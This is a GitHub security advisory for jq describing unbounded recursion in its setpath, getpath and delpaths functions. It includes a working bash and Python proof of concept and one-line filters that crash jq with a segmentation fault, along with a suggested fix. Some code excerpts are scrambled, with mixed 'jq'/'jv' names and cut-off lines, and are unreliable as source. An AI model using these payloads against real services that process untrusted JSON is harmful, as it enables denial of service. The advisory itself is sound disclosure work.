

jqlang / jq Public[Code](#) [Issues](#) 358 [Pull requests](#) 87 [Discussions](#) [Actions](#) [Wiki](#) 

# Unbounded Recursion in `jq_setpath()` / `jq_getpath()` / `delpaths_sorted()`

Moderate itchyny published [GHSA-xwrw-4f8h-rjvg](#) 20 hours ago

## Package

**jqlang/jq**

### Affected versions

&lt;= 1.8.1

### Patched versions

None

## Description

### Summary

The `jq_setpath()`, `jq_getpath()`, and `delpaths_sorted()` functions in `src/jv_aux.c` use unbounded recursion where the recursion depth equals the length of a caller-supplied path array. There is no depth limit check. When a path array with ~60,000 or more elements is supplied — either constructed by a jq filter expression or provided directly in attacker-controlled JSON input — the C call stack is exhausted, causing a segmentation fault (SIGSEGV) and immediate process crash.

This vulnerability bypasses the `MAX_PARSING_DEPTH` (10,000) limit that protects the JSON parser, because path arrays can be constructed programmatically to arbitrary lengths without being constrained by parsing depth. Critically, the path array can be sourced entirely from attacker-controlled JSON input, making this exploitable in scenarios where a trusted jq filter processes untrusted data.

### Vulnerable Code

#### `jq_setpath()` — [src/jv\\_aux.c:368-419](#)

```
jq jq_setpath(jq root, jq path, jq value) {  
  // ...  
  if (jq_array_length(jq_copy(path)) == 0) {  
    // base case  
    return value;  
  }  
}
```



```

jv pathcurr = jv_array_get(jv_copy(path), 0);
jv pathrest = jv_array_slice(path, 1, jv_array_length(jv_copy(path)));
// ...
return jv_set(root, pathcurr, jv_setpath(subroot, pathrest, value)); // <-- UNBOUNDED
}

```

Each recursive call consumes one element from the path array and makes a new stack frame. With a path of length  $N$ , the recursion reaches depth  $N$ . At ~60,000 elements (with the default 8 MB stack on Linux), the stack is exhausted.

### `jv_getpath()` — [src/jv\\_aux.c:421-438](#)

```

jv jv_getpath(jv root, jv path) {
// ...
jv pathcurr = jv_array_get(jv_copy(path), 0);
jv pathrest = jv_array_slice(path, 1, jv_array_length(jv_copy(path)));
return jv_getpath(jv_get(root, pathcurr), pathrest); // <-- UNBOUNDED RECURSION
}

```

### `delpaths_sorted()` — [src/jv\\_aux.c:441-487](#)

```

static jv delpaths_sorted(jv object, jv paths, int start) {
// ...
jv newsubobject = delpaths_sorted(subobject, jv_array_slice(...), start+1); // <-- UN
// ...
}

```

## Attack Paths

### Path 1: Attacker-controlled JSON input with trusted filter (HIGH severity)

This is the most dangerous scenario. The jq filter is written by the developer/operator, but the JSON input is attacker-controlled. Many real-world deployments process untrusted JSON through fixed jq filters.

```

# Attacker crafts a JSON file with a deeply nested path array
python3 -c "
import json
path = [0] * 65000 # 65,000-element path array
obj = {'path': path, 'value': 1}
with open('/tmp/malicious.json', 'w') as f:
    json.dump(obj, f)
"

# Trusted filter uses setpath on attacker-controlled path

```

```
jq '.path as $p | .value as $v | null | setpath($p; $v)' /tmp/malicious.json
# Result: Segmentation fault (SIGSEGV)
```

The JSON file is only ~200 KB — a tiny payload that causes an immediate crash.

## Path 2: Attacker-controlled jq filter expression

```
# Direct filter-based trigger
echo 'null' | jq 'setpath([range(65000)|0]; 1)'
# Result: Segmentation fault (SIGSEGV)

echo 'null' | jq 'getpath([range(200000)|0])'
# Result: Segmentation fault (SIGSEGV)
```



## Path 3: Via `delpaths` with deep paths

```
echo '[[0,0,0,...]]' | jq 'null | delpaths([[range(65000)|0]])'
# Result: Segmentation fault (SIGSEGV)
```



## Proof of Concept

```
#!/bin/bash
# PoC: Unbounded recursion in jq_setpath() causes stack overflow crash
# Tested on: jq 1.8.1 (Linux x86_64, default 8MB stack)
# Expected: Segmentation fault (exit code 139)

# === Method 1: Attacker-controlled JSON input (most realistic) ===
python3 -c "
import json, sys
path = [0] * 65000
obj = {'path': path, 'value': 'pwned'}
json.dump(obj, sys.stdout)
" > /tmp/poc_deep_path.json

echo "File size: $(wc -c < /tmp/poc_deep_path.json) bytes"
echo "Testing setpath with attacker-controlled path from JSON input..."
jq '.path as $p | .value as $v | null | setpath($p; $v)' /tmp/poc_deep_path.json
echo "Exit code: $?"
# Expected output:
#   File size: ~200000 bytes
#   Segmentation fault
#   Exit code: 139

# === Method 2: Direct filter expression ===
echo "Testing setpath with filter-constructed path..."
echo 'null' | jq 'setpath([range(65000)|0]; 1)'
echo "Exit code: $?"
# Expected: Segmentation fault, exit code 139
```



```
# === Method 3: getpath (same root cause) ===
echo "Testing getpath with deep path..."
echo 'null' | jq 'getpath([range(200000)|0])'
echo "Exit code: $?"
# Expected: Segmentation fault, exit code 139

rm -f /tmp/poc_deep_path.json
```

## Verification Results (jq 1.8.1, Linux x86\_64):

Test	Depth	Input Size	Result
<code>setpath</code> via JSON input	65,000	~200 KB	<b>SIGSEGV (exit 139)</b>
<code>setpath</code> via filter	55,000	5 bytes	OK (no crash)
<code>setpath</code> via filter	60,000	5 bytes	<b>SIGSEGV (exit 139)</b>
<code>getpath</code> via filter	60,000	5 bytes	OK (no crash)
<code>getpath</code> via filter	200,000	5 bytes	<b>SIGSEGV (exit 139)</b>
Normal JSON parsing	10,001	~10 KB	Rejected ("Exceeds depth limit")

The crash threshold varies by function (due to different stack frame sizes) but is consistently achievable with modest input sizes.

## Impact

- **Denial of Service (Crash):** Any jq process that calls `setpath`, `getpath`, or `delpaths` with a sufficiently long path array will crash with SIGSEGV. This is an unrecoverable crash — no error handling is possible.
- **Bypass of existing depth limits:** The JSON parser's `MAX_PARSING_DEPTH` (10,000) does not protect against this because path arrays are constructed at the jq runtime level, not during JSON parsing. An attacker can embed a flat array of 65,000 integers in a JSON document (only ~200 KB) that causes a crash when used as a path.
- **Affected real-world scenarios:**
  - **Web services** using jq to transform or extract data from user-submitted JSON
  - **CI/CD pipelines** processing untrusted configuration or API responses with jq
  - **Shell scripts** that use `setpath` / `getpath` / `delpaths` on paths derived from input data
  - **Any application embedding libjq** where path arguments can be influenced by external input
- **Note:** Unlike memory corruption vulnerabilities, stack overflow from recursion is generally not exploitable for code execution on modern systems with guard pages. The impact is limited to denial of service.

## Comparison with Existing Protections

Protection	Scope	Limit	Protects against this?
<code>MAX_PARSING_DEPTH</code> (parser)	JSON nesting during parse	10,000	<b>No</b> — paths are runtime arrays, not parse nesting
<code>MAX_PRINT_DEPTH</code> (printer)	<code>jq_dump</code> recursion	10,000	<b>No</b> — different code path
Array size limit	<code>jq_array_write</code>	<code>INT_MAX/4</code>	<b>No</b> — path array of 65k is far below this

## Suggested Fix

Add a depth/length check at the entry point of each recursive function:

```
#define MAX_PATH_DEPTH 10000 // Match MAX_PARSING_DEPTH

jq jq_setpath(jq root, jq path, jq value) {
  if (jq_get_kind(path) != JV_KIND_ARRAY) {
    jq_free(value);
    jq_free(root);
    jq_free(path);
    return jq_invalid_with_msg(jq_string("Path must be specified as an array"));
  }
  if (jq_array_length(jq_copy(path)) > MAX_PATH_DEPTH) {
    jq_free(value);
    jq_free(root);
    jq_free(path);
    return jq_invalid_with_msg(jq_string("Path too deep"));
  }
  // ... rest of function
}
```

The same check should be added to `jq_getpath()` and `jq_delpaths()`.

Alternatively, convert the recursive implementations to iterative ones (as was done for `jq_dump` with `MAX_PRINT_DEPTH`). An iterative `jq_getpath` is straightforward:

```
jq jq_getpath(jq root, jq path) {
  if (jq_get_kind(path) != JV_KIND_ARRAY) {
    jq_free(root);
    jq_free(path);
    return jq_invalid_with_msg(jq_string("Path must be specified as an array"));
  }
  int len = jq_array_length(jq_copy(path));
  for (int i = 0; i < len; i++) {
    if (!jq_is_valid(root)) break;
  }
}
```

```

    root = jq_get(root, jq_array_get(jq_copy(path), i));
  }
  jq_free(path);
  return root;
}

```

## References

- Vulnerable source ( `jq_setpath` ):

[jq/src/jv\\_aux.c](#)

Lines 368 to 419 in [b6a9e26](#)

```

368     jq jq_setpath(jq root, jq path, jq value) {
369         if (jq_get_kind(path) != JV_KIND_ARRAY) {
370             jq_free(value);
371             jq_free(root);
372             jq_free(path);
373             return jq_invalid_with_msg(jq_string("Path must be specified as an array"));
374         }
375         if (!jq_is_valid(root)){
376             jq_free(value);
377             jq_free(path);
378             return root;
379         }

```

- Vulnerable source ( `jq_getpath` ):

[jq/src/jv\\_aux.c](#)

Lines 421 to 438 in [b6a9e26](#)

```

421     jq jq_getpath(jq root, jq path) {
422         if (jq_get_kind(path) != JV_KIND_ARRAY) {
423             jq_free(root);
424             jq_free(path);
425             return jq_invalid_with_msg(jq_string("Path must be specified as an array"));
426         }
427         if (!jq_is_valid(root)) {
428             jq_free(path);
429             return root;
430         }
431         if (jq_array_length(jq_copy(path)) == 0) {
432             jq_free(path);

```

- Vulnerable source ( `delpaths_sorted` ):

[jq/src/jv\\_aux.c](#)

Lines 441 to 487 in [b6a9e26](#)

```

441     static jq delpaths_sorted(jq object, jq paths, int start) {
442         jq delkeys = jq_array();
443         for (int i=0; i<jq_array_length(jq_copy(paths));) {

```

```

444     assert(jv_array_length(jv_array_get(jv_copy(paths), i)) > start);
445     int delkey = jv_array_length(jv_array_get(jv_copy(paths), i)) == start
446     jv key = jv_array_get(jv_array_get(jv_copy(paths), i), start);
447     int j = i;
448     do
449         j++;
450     while (j < jv_array_length(jv_copy(paths)) &&
451           jv_equal(jv_copy(key), jv_array_get(jv_array_get(jv_copy(paths),

```

- Parser depth limit for comparison:

[jq/src/jv\\_parse.c](#)

Lines 13 to 15 in [b6a9e26](#)

```

13     #ifndef MAX_PARSING_DEPTH
14     #define MAX_PARSING_DEPTH (10000)
15     #endif

```

- Print depth limit for comparison:

[jq/src/jv\\_print.c](#)

Line 12 in [b6a9e26](#)

```

12     #include "jv.h"

```

## Severity

Moderate 6.2 / 10

### CVSS v3 base metrics

Attack vector	Local
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

[Learn more about base metrics](#)

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

## CVE ID

CVE-2026-33947

## Weaknesses

▶ CWE-674

---

### Credits

 **bg0d-glitch**

Reporter